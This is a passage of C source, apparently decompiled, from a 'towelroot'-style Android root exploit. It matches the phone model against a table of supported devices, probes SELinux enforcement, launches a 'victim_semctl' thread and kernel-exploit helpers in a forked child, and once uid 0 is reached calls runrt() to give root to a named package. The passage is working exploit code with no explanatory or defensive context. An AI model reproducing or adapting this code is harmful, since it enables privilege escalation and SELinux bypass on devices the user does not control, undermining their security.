			if (strncmp(buf, g_supported_phones[i].model, len_model) == 0 &&
			//strncmp(sysinfo.version, g_supported_phones[i].version, len_version) == 0 &&
					strncmp(sysinfo.release, g_supported_phones[i].release,
							len_release) == 0) {
				g_this_phone = &g_supported_phones[i];
				LOGR("[main]found model: %s\n", g_this_phone->model);
				break;
			}
		}
		sleep(1);
		if (!g_this_phone) {
			g_this_phone = &g_supported_phones[0];
		}
		if (g_this_phone->a) {
			g_offset += g_this_phone->a;
		}
		if (g_this_phone->b) {
			sel_enforcing = g_this_phone->b;
			found_selinux_key = g_this_phone->c;
		} else {
			while (1) {
				v24 = 0;
				fd_enf = open("/sys/fs/selinux/enforce", 0);
				if (fd_enf >= 0) {
					memset(buf, 0, 32);
					v8 = read(fd_enf, &buf, 4u);
					close(fd_enf);
					if (v8 >= 0
							&& sscanf((const char *) &buf, "%d", &v24) != 1) {
						sel_enforcing = 0;
						break;
					}
					v7 = 1;
				}
				if (v7 || stat("/sys/fs/selinux", &s_stat)
						|| (s_stat.st_mode & 0xf000) != 0x4000) {
					sel_enforcing = v24;
					if (!sel_enforcing)
						break;
					found_selinux_key =
							stat("/proc/key-users", &s_stat) ? 0 : 4;
					break;
				}
				sel_enforcing = 1;
			}
		}
	}
	map_MAGIC();
	pthread_create((pthread_t *) &algn_D8D4, 0,
			(void *(*)(void *)) victim_semctl, 0);
	search_good_num();

	printff("[main]uid: %x\n", getuid());
	return 0;
}

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv) {
	printf("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
	runrt(atoi(argv[1]), argv[2], argv[3]);
}

int main(int argc, const char **argv) {
	int uid = 0, ret = 0, wait_time = 60, pid = 0;

	check_parent_pid();
	if(argc < 4) return 1;

	pid = fork();
	if (pid == 0) {
		towelroot_main();
		ret = !!getuid();
		printf("subproc ret: %d\n", ret);
		exit(ret);
	}

	while (wait_time > 0) {
		int status = 0;
		if (pid == waitpid(pid, &status, WNOHANG)) {
			if (WIFEXITED(status)) {
				ret = WEXITSTATUS(status);
				break;
			}
		}

		sleep(1);
		wait_time -= 1;
	}
	ret = (getuid() == 0);
	if (ret) {
		do_root(argc, argv);
	}
	return ret ? 0 : 1;
}

